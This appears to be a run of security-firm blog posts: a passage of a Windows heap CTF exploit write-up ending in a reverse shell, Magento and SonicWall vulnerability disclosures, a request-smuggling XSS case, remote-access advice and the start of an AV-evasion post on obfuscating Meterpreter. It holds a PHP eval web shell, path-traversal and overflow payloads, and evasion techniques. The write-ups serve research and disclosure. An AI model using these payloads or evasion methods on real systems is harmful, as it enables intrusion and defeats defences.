      7ff8`92b30000     7ff8`92b32000        0`00002000 MEM_IMAGE   MEM_COMMIT  PAGE_WRITECOPY                     Image      [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
      7ff8`92b32000     7ff8`92b3a000        0`00008000 MEM_IMAGE   MEM_COMMIT  PAGE_READWRITE                     Image      [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
      7ff8`92b3a000     7ff8`92bbd000        0`00083000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image      [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
0:006> .for (r $t0 = 7ff8`92b2f000; @$t0 < 7ff8`92b3a000; r $t0 = @$t0 + 8) { .if (poi(@$t0) >= 17c`cd460000 & poi(@$t0) < 17c`cd465000) { dps $t0 L1 } }
00007ff8`92b33bb0  0000017c`cd460000
0:006> dq 0x7ff892b33b80
00007ff8`92b33b80  0000017c`cd2c0000 0000017c`cd0b0000
00007ff8`92b33b90  0000017c`cd220000 0000017c`cd4e0000
00007ff8`92b33ba0  0000017c`cd260000 0000017c`cd6d0000
00007ff8`92b33bb0  0000017c`cd460000 0000017c`cd590000
00007ff8`92b33bc0  00000000`00000000 00000000`00000000
00007ff8`92b33bd0  00000000`00000000 00000000`00000000

We can launch a new thread and the arbitrary read from above to leak its value.

Stack pivot, ROP, shellcode

We have RIP and rbp points to the heap, so we can look for a “leave ; pop ; ret” pivot gadget. This one does the trick:

# leave ; ⇨ mov rsp, rbp ; pop rbp
# mov rbx, qword [rsp+0x18]
# mov rax, rcx
# mov rbp, qword [rsp+0x20]
# mov rsi, qword [rsp+0x28]
# mov rdi, qword [rsp+0x30]
# pop r15
# pop r14
# ret
pivot_gadget = ntdll_base + 0x010442e

The above gadget pivots to the beginning of the heap (rbp) and pops 3 values off the pivoted stack, therefore we must control heap+0x18, which is SegmentListEntry, a heap entry without NULL bytes in its LSBs – so we can edit it.
So, we overwrite:

  • heap+0x168 (CommitRoutine) with pivot_gadget ^ RtlpHeapKey
  • heap+0x18 (SegmentListEntry) with a large “add rsp, 0xXXX” gadget:
    • 0x0d26c4: add rsp, 0x0000000000000CD0 # pop rbx # ret

Now we can store a retsled followed by a ROP chain. Since I didn’t bother to leak any other libs from NTDLL I decided to ROP directly to ntdll!NtProtectVirtualMemory, the syscall used behind the scenes by VirtualProtect – which allows to change the heap page permissions to RWX.

At this point we just need to store a connect-back shellcode after the ROP and jump into it to finally get our shell and read the flag!

$ ./ 42003
[+] Trying to bind to on port 12345: Done
[+] Waiting for connections on Got connection from on port 19224
[+] Opening connection to on port 42003: Done
[*] heap leak: 0x17ccd223160
[+] heap of thread 1 @ 0x17ccd220000
[+] Trying to bind to on port 12345: Done
[+] Waiting for connections on Got connection from on port 19225
[+] Opening connection to on port 42003: Done
[*]   'username' in heap 1 @ 0x17ccd222c80
[*]   ntdll pointer @ 0x17ccd2202c0
[*]   'password' in heap 1 @ 0x17ccd222ca0
[*]   CommitRoutine in heap 1 @ 0x17ccd220168
[+] ntdll!RtlpStaticDebugInfo leak: 0x7ff892b33d10
[+] NTDLL @ 0x7ff8929d0000
[+] ntdll!RtlpHeapKey = 0xf603ad6b90e97029
[+] Trying to bind to on port 12345: Done
[+] Waiting for connections on Got connection from on port 19226
[+] Opening connection to on port 42003: Done
[+] Opening connection to on port 42003: Done
[*]   thread 4 addr stored in ntdll @ 0x7ff892b33bb0
check threads list
[+] target_heap @ 0x17ccd460000
[+] Trying to bind to on port 12345: Done
[+] Waiting for connections on Got connection from on port 19227
[+] Opening connection to on port 42003: Done
[+] Spawning shell...

And get the connect-back (here from the CTF server):

$ nc -lvp 1337
listening on [any] 1337 ...
connect to [] from [] 49729
Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\winhttpd\inetpub>cd ..
 Volume in drive C has no label.
 Volume Serial Number is F845-3464

 Directory of C:\winhttpd

01/19/2019 01:07 AM <DIR> .
01/19/2019 01:07 AM <DIR> ..
01/19/2019 12:52 AM <DIR> inetpub
01/19/2019 01:06 AM 26,112 winhttpd.exe
01/18/2019 11:01 PM <DIR> wow_gg_the_flag_is_in_here
              1 File(s) 26,112 bytes
              4 Dir(s) 40,418,689,024 bytes free

C:\winhttpd>cd wow_gg_the_flag_is_in_here
C:\winhttpd\wow_gg_the_flag_is_in_here>type flag.txt
INS{HEADs I WIN, tails you lose}

In summary we used 5 requests/threads which we all kept alive throughout the exploit:

  • 1st one leaked the address of the first private heap
  • 2nd leaked NTDLL + the RtlpHeapKey value
  • 3rd leaks the address of the target heap
  • 4th has the target heap, we keep it waiting for a while then trigger a large allocation to get RIP
  • 5th uses a the arbitrary write to overwrite the mangled CommitRoutine pointer with a stack pivot


Of course none of this is really specific to “private” heaps. You can find the same ntdll!RtlpStaticDebugInfo pointer and CommitRoutine callback in the main heap as well 🙂

Unfortunately no team was able to solve the challenge during the CTF, although it appears that several teams were pretty close!
You can find my exploit here and the sources here. It can fail sometimes because of things like occasional NULL bytes in the leaked values, but should work most of the time.

Magento – RCE & Local File Read with low privilege admin rights

By: blogscrt
24 January 2019 at 17:24

I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is a second paper which covers two vulnerabilities I discovered on Magento, a big ecommerce CMS that’s now part of Adobe Experience Cloud. These vulnerabilities have been responsibly disclosed to Magento team, and patched for Magento 2.3.0, 2.2.7 and 2.1.16.

Both of vulnerabilities need low privileges admin account, usually given to Marketing users :

  • The first vulnerability is a command execution using path traversal, and requires the user to be able to create products
  • The second vulnerability is a local file read, and requires the user to be able to create email templates

Here are the details !

Command Execution in Product Creation

Magento has its own way to define the layout of a product, into the Design tab of the Product creation system. It’s format is XML-based and follows a syntax documented by Magento themselves. The full documentation is here :

The interesting thing is the possibility to instantiate blocks with the <block> tag, and then to call methods on it with the <action> tag. This will only work if the object implements the Block interface, by the way. However, I was searching if there’s anything interesting to do with this, and saw the following function for class Magento\Framework\View\Element\Template :

     * Retrieve block view from file (template)
     * @param string $fileName
     * @return string
    public function fetchView($fileName)
        $relativeFilePath = $this->getRootDirectory()->getRelativePath($fileName);
            'TEMPLATE:' . $fileName,
            ['group' => 'TEMPLATE', 'file_name' => $relativeFilePath]

        if ($this->validator->isValid($fileName)) {
            $extension = pathinfo($fileName, PATHINFO_EXTENSION);
            $templateEngine = $this->templateEnginePool->get($extension);
            $html = $templateEngine->render($this->templateContext, $fileName, $this->_viewVars);
        } else {
            $html = '';
            $templatePath = $fileName ?: $this->getTemplate();
            $errorMessage = "Invalid template file: '{$templatePath}' in module: '{$this->getModuleName()}'"
                . " block's name: '{$this->getNameInLayout()}'";
            if ($this->_appState->getMode() === \Magento\Framework\App\State::MODE_DEVELOPER) {
                throw new \Magento\Framework\Exception\ValidatorException(
                    new \Magento\Framework\Phrase(

        \Magento\Framework\Profiler::stop('TEMPLATE:' . $fileName);
        return $html;

This code is responsible for loading templates from file; there’s two extension authorized that are phtml (to treat it as PHP template file) and xhtml (to treat it as plain HTML file I imagine?). Obviously, we want the PHP thing, that’s more fun.

The $fileName parameter is passed into the \Magento\Framework\View\Element\Template\File\Validator::isValid() function, that checks if the file is in certain directories (compiled, module or themes directories). This check used the isPathInDirectories to do so :

    protected function isPathInDirectories($path, $directories)
        if (!is_array($directories)) {
            $directories = (array)$directories;
        foreach ($directories as $directory) {
            if (0 === strpos($path, $directory)) {
                return true;
        return false;

This function only checks if the provided path begins by a specific directory name (ex: /path/to/your/magento/app/code/Magento/Theme/view/frontend/). However, it does not control that’s the resolved path is still in those whitelisted directories. That means there’s an obvious path traversal in this function that we can call through a Product Design. However, it will only process .phtml file as PHP code, which is a forbidden extension on most upload forms.

“Most of upload forms” means there’s exception! You can create a file with “Custom Options”, and one is “File”. I imagine this is in case the customer wants to send a 3D template or instructions for its order. The real reason isn’t that important, the fact is that you can allow extensions you want to be uploaded, including phtml. Once the item is ordered, the uploaded file will be stored in /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourFile).extension

This is sufficient for having a command execution payload. Here is the complete steps :

  1. Log in with a user that has some low admin privileges and is allowed to create products
  2. First of all, create a new product, with a new Custom Options of type File, with .phtml as an authorized extension and some pieces in stock to order one.
  3. Go on the frontend, on the product you just created. Upload your .phtml and set the item in your cart. For example, my file is named “blaklis.phtml” and contains “<?php eval(stripslashes($_REQUEST[0])); ?>
  4. The .phtml file is uploaded to /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourPhtmlFile).phtml. For example, for my file, the location will be /your/path/to/magento/pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml
  5. You must have the full path to the application to use the fetchView function. An easy way to retrieve it is to run the following request :
    POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true HTTP/1.1
    Connection: close

    This will make CURL crash and display an error with full path in it
  6. In the design tab of the product, add a 2 column layouts with the following XML in Layout Update XML :
    <referenceContainer name="sidebar.additional">
    <block class="Magento\Backend\Block\Template" name="test">
    <action method="fetchView">
    <argument name="fileName" xsi:type="string">/path/to/your/magento/app/code/Magento/Theme/view/frontend/../../../../../../pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml</argument>
  7. Go to the frontend page of this product; your code should executed.

This flaw was not that obvious, but has been fun to search for!

Local File Read in Email Templating

This one is a lot easier; in fact, it was a pretty obvious one. Email templating allow to use some special directives, surrounded by {{ }}. One of these directives is {{css 'path'}} to load the content of a CSS file into the email. The path parameter is vulnerable to path traversal, and can be used to inject any file into the email template.

The functions that are managing this directive are the following :

public function cssDirective($construction)
    if ($this->isPlainTemplateMode()) {
        return '';

    $params = $this->getParameters($construction[2]);
    $file = isset($params['file']) ? $params['file'] : null;
    if (!$file) {
        // Return CSS comment for debugging purposes
        return '/* ' . __('"file" parameter must be specified') . ' */';

    $css = $this->getCssProcessor()->process(

    if (strpos($css, ContentProcessorInterface::ERROR_MESSAGE_PREFIX) !== false) {
        // Return compilation error wrapped in CSS comment
        return '/*' . PHP_EOL . $css . PHP_EOL . '*/';
    } elseif (!empty($css)) {
        return $css;
    } else {
        // Return CSS comment for debugging purposes
        return '/* ' . sprintf(__('Contents of %s could not be loaded or is empty'), $file) . ' */';

public function getCssFilesContent(array $files)
    // Remove duplicate files
    $files = array_unique($files);
    $designParams = $this->getDesignParams();
    if (!count($designParams)) {
        throw new \Magento\Framework\Exception\MailException(
            __('Design params must be set before calling this method')
    $css = '';
    try {
        foreach ($files as $file) {
            $asset = $this->_assetRepo->createAsset($file, $designParams);
            $pubDirectory = $this->getPubDirectory($asset->getContext()->getBaseDirType());
            if ($pubDirectory->isExist($asset->getPath())) {
                $css .= $pubDirectory->readFile($asset->getPath());
            } else {
                $css .= $asset->getContent();
    } catch (ContentProcessorException $exception) {
        $css = $exception->getMessage();
    } catch (\Magento\Framework\View\Asset\File\NotFoundException $exception) {
        $css = '';

    return $css;

Those 2 functions are not checking for path traversal characters anywhere, and are indeed vulnerable.

Creating an email template with the {{css file="../../../../../../../../../../../../../../../etc/passwd"}} should be sufficient to trigger the vulnerability.

Here is the responsible disclosure timeline for these 2 bugs : firstly, for the RCE one, and then for the file read one

  • 2018.09.11 : initial disclosure for the path traversal / RCE
  • 2018.09.17 : triaged by Bugcrowd staff
  • 2018.10.08 : triaged by Magento staff
  • 2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
  • 2018.12.11 : a $5000 bounty was awarded
  • 2018.08.09 : initial disclosure for the path traversal / local file read
  • 2018.08.29 : triaged by Bugcrowd staff after asking for details
  • 2018.10.08 : triaged by Magento staff
  • 2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
  • 2019.01.04 : a $2500 bounty was awarded

Public Intrusion Test of Swiss Post’s E-Voting System

7 February 2019 at 13:56


The Swiss Cantons have offered online voting to members of their electorate since 2004. Meanwhile, more than 200 binding trials at Federal votes and elections have taken place in 15 cantons over the years.

In order to expand online voting to a broader public, the Federal regulation obliges the Cantons to meet an additional set of requirements. These include the system feature of full verifiability, performing numerous audits and publishing the software components’ source code.

Additionally, the Swiss Confederation and the Cantons have decided that the systems used for online voting needed to be publicly tested within the setting of a public intrusion test (PIT). By performing a PIT, the Confederation and the Cantons are hoping to get a valuable outside view on the system by a large number of competent people.

Swiss Post’s E-Voting System

Swiss Post provides one of the major online voting platforms currently available in Switzerland. The latest version of this platform has already been pen-tested and certified under the legal framework of the Swiss Confederation. As required by Federal regulations, this system must now be subject to a public intrusion test.

Third-party operator

In order to managed and operate this PIT, a third-party and independent company has been selected: SCRT.

SCRT are not involved in the development, deployment or promotion of Swiss Post’s e-voting system and act under the mandate of the Swiss Confederation and the Cantons.

They are responsible for enabling registration and vulnerability submission as well as providing support to participants. SCRT are the single point of contact for all participants and oversee the review and triage of the vulnerability submissions.


The Public Intrusion Test will start on Feb. 25th 2019. It will be running for a period of four weeks, which corresponds to the duration of a Swiss federal vote, until March 24th 2019.


Swiss Post have committed to compensate participants if they reveal a relevant vulnerability. An amount of CHF 150’000.- is available for compensations.

Registration and further details

Registration is open starting of today at

Anyone can register and participate. While the target is a Swiss e-voting system, this PIT is meant for anyone interested in the matter and is not restricted to Swiss citizens.

SonicWall SRA and SMA vulnerabilities

11 February 2020 at 12:43

Last year, Orange Tsai did some awesome research and discovered several vulnerabilities in SSL VPN providers which can allow an attacker to break into a network through the very device which is supposed to protect it. The vulnerable constructors were:

  • Palo Alto
  • Fortinet
  • Pulse Secure

I’ll admit I’ve always found it particularly ironic to discover vulnerabilities in security-related devices and we’ve had a surprising amount of success at discovering these at SCRT throughout the years.

While reading through Orange’s blog posts, I noticed one comment asking whether any other vendors were affected. Although I can’t find the comment any more (it was several months ago), at the time I figured I might as well have a go at finding vulnerabilities in one of the other VPN vendors. I pretty randomly chose to start looking at SonicWall who recently wrote a post indicating that their products were not vulnerable to the Palo Alto vulnerability. ¯\_(ツ)_/¯

Not knowing much about SonicWall’s products, I searched for what could be an SSL-VPN device and ended up finding the Secure Remote Access (SRA). Thankfully, it is possible to download a trial virtual machine of the device which I recovered and started to analyse. All analysis was done on version of the device, which seemed rather dated, but I couldn’t find a newer version anywhere. I think this particular device has actually been replaced or is in the process of being replaced by the SMA devices which are at least also partially vulnerable to the issues reported below.

I started off by looking at the web interface exposed for the SSL-VPN. This interface contains a number of CGI files in the cgi-bin folder. These can be called remotely and are just 32-bit ELF binaries that are run on Linux. I went through them to understand how authentication was handled to either find a vulnerability in the authentication system itself, but also just to figure out which files can be called without being authenticated.

One of these CGI files is supportLogin which is used to handle certain types of authentication. I discovered a couple of vulnerabilities in here which can be exploited without requiring an account though they need the “Virtual Assist” module to be enabled on the device. To be honest, I do not know whether this is a commonly used module or not.

The first issue I discovered is a SQL injection in a parameter called customerTID. The web application uses a SQLite database and constructs several queries with user-supplied input through the sqlite3 printf functions. In most cases, it uses the %q formatter to appropriately escape quotes. However, as can be seen below, in some instances, a %s is used instead. As this doesn’t perform any escaping, a trivial SQL injection is present.

This leads to a blind SQL injection vulnerability which can be exploited remotely. The most interesting data that is stored in this particular SQLite database seems to be session identifiers for authenticated users in a table named Sessions. If exploited at the right time, this would grant access to the SSL-VPN with various levels of privileges.

This first vulnerability was attributed the following CVE:

In the same CGI file, a second vulnerability which leads to arbitrary code execution was also discovered. This one is a buffer overflow present in the parsing of the browser’s user-agent. The overflow can occur if the user-agent pretends to be Safari, as this results in calling the getSafariVersion function in the library.

The getSafariVersion function looks something like what is below.

The memcpy function can be used here to overflow the local buffer. In the SRA, there is no stack canary, so overwriting EIP and using a rop chain to execute commands is simple. In the SMA, there are exploit mitigations in place and exploiting the issue would probably require a leak somewhere else or deeper investigations.

Nevertheless, crashing the CGI can be done with the following request:

GET /cgi-bin/supportLogin HTTP/1.1 
User-Agent: plop Mac OS X Safari Version/12345678901234567890123456789012345678901234AAAABBBBCCCC lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 

The handler will restart automatically so it is possible to re-exploit the issue multiple times for example to brute-force libc’s base address. In practice after less than a 100 attempts, it is usually possible to get arbitrary commands to be run with nobody privileges on the device.

This vulnerability was given the following CVE :

A third pre-authentication vulnerability is a pretty useless directory traversal, as it only allows to test for the existence of a file. In theory, if the file matches a certain structure, it would be possible to read parts of it. It was attributed the following CVE :

In practice, I think this last issue can easily be used to figure out if a device is vulnerable to the two other vulnerabilities as they will likely all be patched together. Essentially, a device is vulnerable if the following requests takes a bit of time to complete:


It should take more time to complete than requesting an actual file such as:


Three other vulnerabilities were discovered during the analysis, but they all require an account to be exploited:

  • CVE-2019-7484 – Authenticated SQL injection
  • CVE-2019-7485 – Authenticated Buffer Overflow
  • CVE-2019-7486 – Authenticated Code injection

The two first ones are very similar to what was described above, while the last is a straightforward command injection, but I believe it requires an admin account, so you can be the judge of the criticity. It can be exploited like this:

POST /cgi-bin/viewcacert HTTP/1.1
Content-Length: 67

ping -c 4

Regarding the timeline, I reported these issues on the 5th of June 2019 to Sonicwall’s team and the advisories were then published on the 17th of December 2019.

I had a quick look recently (so 2 months after the critical update was released) to see whether there are still unpatched devices out there. I only tested the directory traversal issue and obviously there are still numerous vulnerable devices exploitable from the Internet. This is why I didn’t go ahead and post the exploit code itself in here.

Combining Request Smuggling and CBC Byte-flipping to stored-XSS

30 March 2020 at 07:51

During a recent penetration test we stumbled upon a couple of issues which independently might not have warranted any attention, but when combined allowed to compromise other users by injecting arbitrary JavaScript into their browsers. It goes to show that even certain issues which might not always seem particularly interesting (such as self-XSS) can sometimes be exploited in meaningful ways. I’ll keep this mostly theoretical so as not to divulge any information on the actual targeted system.

The first interesting behaviour we noticed during the assessment was related to the authentication mechanism. When logging in with a valid user account, the application would generate a base64-encoded session cookie which always started with the same values but had differing endings. This often happens when the cookie contains some kind of encrypted information related to the account and a timestamp to define how long the cookie is valid. Given the fact that the start of the cookie was always the same, it pointed to the fact that the encryption mode was either ECB or CBC with a static IV.

The web application actually decrypts the content of the cookie to display the username on the main page. The latter was discovered by attempting a CBC byte-flipping attack which allowed us to see certain blocks of scrambled text in the resulting page.

In this particular case, we weren’t able to generate arbitrary accounts to force the creation of arbitrary cookies, but we did notice a particularly strange behaviour in the authentication mechanism which allowed us to generate semi-arbitrary cookies anyways, which would in turn allow us to generate encrypted blocks for values we could use to inject JavaScript into the page.

It turns out that if we could login with an account named test, it was also possible to login with an account named ./toto/titi/../../test. This username was accepted with the same password as the original one. There is most certainly some other vulnerability here (path traversal or XPath injection maybe?), but given the limited time of the assessment, we weren’t able to exploit it in any other way than the one detailed below.

Given the “name traversal” issue, we could essentially generate encrypted cookies with arbitrary blocks. Since some of these blocks are then decrypted and shown in the web page, we were then able to force the generation of blocks which would result in a self-XSS. Obviously when we first noticed that the username was reflected in the page we attempted to inject JavaScript code directly into the username, but this was actually rejected by the application, so the only way of exploiting the issue was through the manipulation of the encrypted cookie, as its decrypted value was not sanitized. Unfortunately, this would only impact ourselves, unless we found a way to set another browser’s cookie to our malicious value.

This is where Burp’s request smuggler plugin came in handy, as while we were busy encrypting cookies, it also revealed that the web application was vulnerable to a request smuggling vulnerability. This type of vulnerability gives an attacker the ability to prepend another user’s HTTP request to the web application. This is where our previous discoveries related to the cookie parsing came in handy, as the request smuggling issue allowed us to specify the URL and headers of a subsequent request from another browser. In essence, this allows us to specify the cookie used by another browser for one request (although it could be repeated multiple times).

So, by exploiting this issue, we can send our malicious cookie to another user’s browser and therefore have our decrypted malicious javaScript code executed in his browser. That particular page would be rendered with our own cookie and privileges, but any further request would keep the browser’s original cookie and privileges (as long as we don’t perform another smuggling attack…). This would therefore allow our script to interact with the affected domain in any way the legitimate user could. Our Self-XSS was therefore transformed into a stored-XSS! A very restrictive CSP could have made our life harder, but in this case there was none.

I hope this quick post can give you other ideas to exploit weird and seemingly unrelated issues such as these in your own assessments!

SCRT on Covid-19 and Remote Access / Working From Home

14 April 2020 at 13:26

Like everybody, SCRT has been adjusting to life under Covid-19 over the last weeks. Thankfully, we’ve been prepared for working from home for quite some time now as many of us do so during normal circumstances anyways. This is however not the case for all companies and we’ve unfortunately been called in to help some of them deal with the unwanted consequences of poorly setting up their remote access (read: they got hacked). So here is a quick blog post detailing the main issues we see with remote access systems and what can be done to avoid them.

From an attacker’s perspective, there are essentially three ways of exploiting a remote access system to reach a company’s internal network:

  1. Compromise the device of an end user and wait until he or she legitimately connects to the system to either steal the credentials or the session
  2. Compromise valid credentials
  3. Compromise the remote access system itself

When we look at it this way, most people will probably be wary of the end user devices connecting to the corporate network as a “new” attack vector since everybody is working from home. But before getting into that, I want to mention the other categories first, as up to now they have been the ones which have been causing the most problems (that we have seen).

Compromising valid credentials

Whatever the remote access system you have setup, whether it be a simple RDP server exposed to the Internet, a Citrix Netscaler or any flavour of SSL-VPN, if the users connecting to them use a single authentication factor (a password), their accounts will get compromised and attackers will gain access to the system. It’s as simple as that.

Some people might be thinking that a “complex” password policy and rotating passwords every few months will avoid this, but the truth is there is always someone within the company who will be using Geneva2020! (supposing your company is based in Geneva) as their password. A decent attacker will quickly find the appropriate account and connect to the system with it.

The only solution here is implementing a second authentication factor. Microsoft wrote a nice post about passwords which can be found here, which shows pretty well why any other measure will be ineffective.

Not all authentication factors are born equal though and there are differences between tokens, certificates or SMSs but whatever the second factor is, it will be better than relying on a single password. If a machine certificate is used as an authentication factor, it does have the advantage of being “unphishable”, unlike any other factor which has to be entered by the user.

So the first recommendation, which shouldn’t come as a surprise, is to implement Multi-Factor Authentication (MFA) for your remote access system. Even if it obviously doesn’t provide perfect security, it is a big step in the right direction.

Compromising the Remote Access System

If 2019 taught us anything, it’s that remote access systems are not as secure as vendors will try to make us believe. Last year, most SSL-VPN vendors were hit by at least one serious vulnerability allowing attackers to break into the protected network:

  • Netscaler (CVE-2019-19781)
  • Fortinet (CVE-2018-13382)
  • Pulse Secure (CVE-2019-11510)
  • SonicWall (CVE-2019-7482)
  • Palo Alto (no CVE)

Let’s add to that Bluekeep (CVE-2019-0708) for RDP and we’ve already got a lot of systems covered. And these are just the ones that were made public!

So the second takeaway here is to always ensure your remote access systems are up to date. Vulnerabilities in these systems have important consequences and are usually very quickly exploited, so make sure you have a way of being notified when a new patch is available and apply it as soon as possible.

Compromising an end user device

And now we get to the final aspect of this post which is attempting to secure your systems from potentially compromised end user devices. In many cases, companies are now allowing employees to remotely connect to the corporate network with their own personal devices on which the company has absolutely no control. There might not even be AppLocker on the device!

The bottom line is that unfortunately, if a compromised device is used to connect to a remote access system, an attacker can pretty much do anything the legitimate user can. Whether you have multi-factor authentication setup or not will not protect you against this. For example, an attacker can simply wait for the legitimate user to authenticate to the SSL-VPNs Web interface and then steal the generated session cookie. If the cookie is bound to the user’s IP address, the attacker can proxy his/her connections through the victim’s workstation.

Preventing a device from being compromised in the first place entirely depends on the end user (in the case where he or she is using their own personal device). Awareness trainings can help, though often only employees who are interested in the subject and therefore need it the least attend unless they are mandatory. Nevertheless, talking about the subject and discussing cases with employees, and therefore integrating them into the company’s defense mechanism will raise awareness and increase the chances of at least detecting the attacks.

MELANI wrote a short document on how users can protect themselves which can be found here. It covers several topics, but I’d say the main recommendation is that if it is at all possible, have a separate work computer from your private one and make sure nobody else uses it.

Protecting against a compromised private device is akin to protecting against a malicious insider. Much like dealing with Covid19, there are mainly two options here:

  • Isolation
  • Detection

This is not rocket science, but most companies still have a hard time properly segmenting their internal network and implementing strict firewall rules, which makes it difficult to truly isolate a malicious user. On the upside, these are issues which all companies should be tackling, whether it’s due to the current situation leading to increased Work from Home, or not.

When I say isolation, I essentially mean applying the least-privilege principle and ensuring a user only has access to what he or she absolutely needs in order to work efficiently. In this way, even if the user’s device is compromised, the attacker can still only access what the user has access to.

When it comes to detection, it is all about detecting patterns of actions which deviate from the norm. Why is someone from IT suddenly attempting to read files on the accounting share? Probably because it’s not really them doing it! This requires some kind of base for comparison, and some intelligence to detect the outliers. A flurry of solutions based, for example, on machine learning techniques exist to do this, but I won’t go so far as to recommend one over the other.

Summary (TL;DR)

So to summarize the contents of this post, my recommendations to secure a remote access solution are:

  • Use multiple authentication factors, and if possible one which is unknown to the user
  • Make sure your remote access solution is up to date
  • Have your employees use a dedicated machine for accessing the network whenever possible
  • Apply the least privileges principle and restrict access to the strict minimum for all users
  • Detect abnormal patterns and behaviours

Without working on these aspects, companies will essentially be blind and very vulnerable to attacks targeting these remote access solutions.

Engineering antivirus evasion

By: plowsec
19 June 2020 at 08:54

tl;dr: this blog post documents some aspects of our research on antivirus software and how we managed to automatically refactor Meterpreter to bypass every AV/EDR we were put up against. While the ideas for every technique and the implementation of the string obfuscation pass are detailed below, we decided to publish details on API imports hiding / syscalls rewriting in future blog posts to keep this one as short as possible. The source code is available at

Among the defensive measures a company can implement to protect its information systems against attacks, security software such as antivirus or EDR often come up as an essential toolset to have. While it used to be rather easy to circumvent any kind of malware detection mechanism in the past years, doing so nowadays certainly involves more effort.

On the other hand, communicating about the risks associated with a vulnerability is really challenging in case the Proof-of-Concept to exploit it is itself blocked by an antivirus. While one can claim that it is always theoretically possible to bypass the detection [1] and leave it at that, actually doing it may add some strength to the argument.

In addition, there are vulnerabilities that can only be discovered with an existing foothold on a system. For example, in the case where a pentester is not able to get that initial level of access, the audit’s result would not accurately depict the actual security level of the systems in scope.

In view of that, there is a need to be able to circumvent antivirus software. To complicate things, at SCRT we rely on publicly available, open-source tools whenever possible, to emphasise that our work is reproducible by anyone skilled enough to use them, and does not depend on private, expensive tools.

Problem statement

The community likes to categorise the detection mechanisms of any antivirus as being “static” or “dynamic”. Generally, if detection is triggered before the malware’s execution, it is seen as a kind of static detection.
However, it is worth knowing that a static detection mechanism such as signatures can be invoked during the malware’s execution in reaction to events such as process creations, in-memory file downloads, and so on.
In any case, if we want to use the good old Meterpreter against any kind of security software, we must modify it in such a way that it fulfills the following requirements:

  • Bypass any static signature, whether during a filesystem scan or a memory scan.
  • Bypass “behavioural detection” which, more often than not, relates to evading userland API hooking.

However, Meterpreter comprises several modules, and the whole codebase amounts to around 700’000 lines of code. In addition, it is constantly updated, which means running a private fork of the project is sure to scale very poorly.

In short, we need a way to transform the codebase automatically.


After years of experience bypassing antivirus software, if there is any kind of insight that we could share with the community, it would be that a malware detection is almost always trivially based on strings, API hooks, or a combination of both.

Even for the products that implement machine learning classifiers such as Cylance, a malware that does not have strings, API imports and hookable API calls is sure to go through the net like a soccer ball through Sergio Rico’s defence.

Meterpreter has thousands of strings, API imports are not hidden in any way and sensitive APIs such as “WriteProcessMemory” can be intercepted easily with a userland API hook. So, we need to remedy that in an automated fashion, which yields two potential solutions:

  • Source-to-source code refactoring
  • LLVM passes to obfuscate the code base at compilation time.

The latter would be the preferred approach, and many popular researches reached the same conclusion [2]. The main reason is that a transformation pass can be written once and reused independently of the software’s programming language or target architecture.

Image from:

However, doing so requires the ability to compile Meterpreter with a compiler other than Visual Studio. While we have published some work to change that in December 2018, adoption in the official codebase is still an ongoing process more than a year later.

In the meantime, we have decided to implement the first approach out of spite. After a thorough review of the state-of-the-art of source code refactoring, libTooling (part of the Clang/LLVM toolchain) appeared to be the only viable candidate to parse C/C++ source code and modify it.

Note: since the codebase is strongly Visual Studio dependent, Clang will fail to parse a large part of Metepreter. However, it was still possible to bypass the target antivirus with that half-success. And here we probably have the only advantage of source-to-source transformation over compile-time transformation: the latter requires the whole project to compile without any errors. The former is resilient to thousands of compilation errors; you just end up with an incomplete Abstract Syntax Tree, which is perfectly fine.

LLVM passes vs libTooling

String obfuscation

In C/C++, a string may be located in many different contexts. libTooling is not really pleasurable to toy with, so we have applied Pareto’s Law and limited ourselves to those that cover the most suspicious string occurrences within Meterpreter’s codebase:

  • Function arguments
  • List initializers

Function arguments

For instance, we know for a fact that ESET Nod32 will flag the string “ntdll” as being suspicious in the following context:

ntdll = LoadLibrary(TEXT("ntdll"))

However, rewriting this code snippet in the following manner successfully bypasses the detection:

wchar_t ntdll_str[] = {'n','t','d','l','l',0};
ntdll = LoadLibrary(ntdll_str)

Behind the scenes, the first snippet will cause the string “ntdll” to be stored inside the .rdata section of the resulting binary, and can be easily spotted by the antivirus. The second snippet will cause the string to be stored on the stack at runtime, and is statically indistinguishable from code, at least in the general case. IDA Pro or alternatives are often able to recognise the string, but they also run more advanced and computationally intensive analyses on the binary.

List initializers

In Meterpreter’s codebase, this kind of construct can be found in several files, for instance in c/meterpreter/source/extensions/extapi/extapi.c:

Command customCommands[] =
COMMAND_REQ("extapi_window_enum", request_window_enum),
COMMAND_REQ("extapi_service_enum", request_service_enum),
COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_service_control", request_service_control),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),

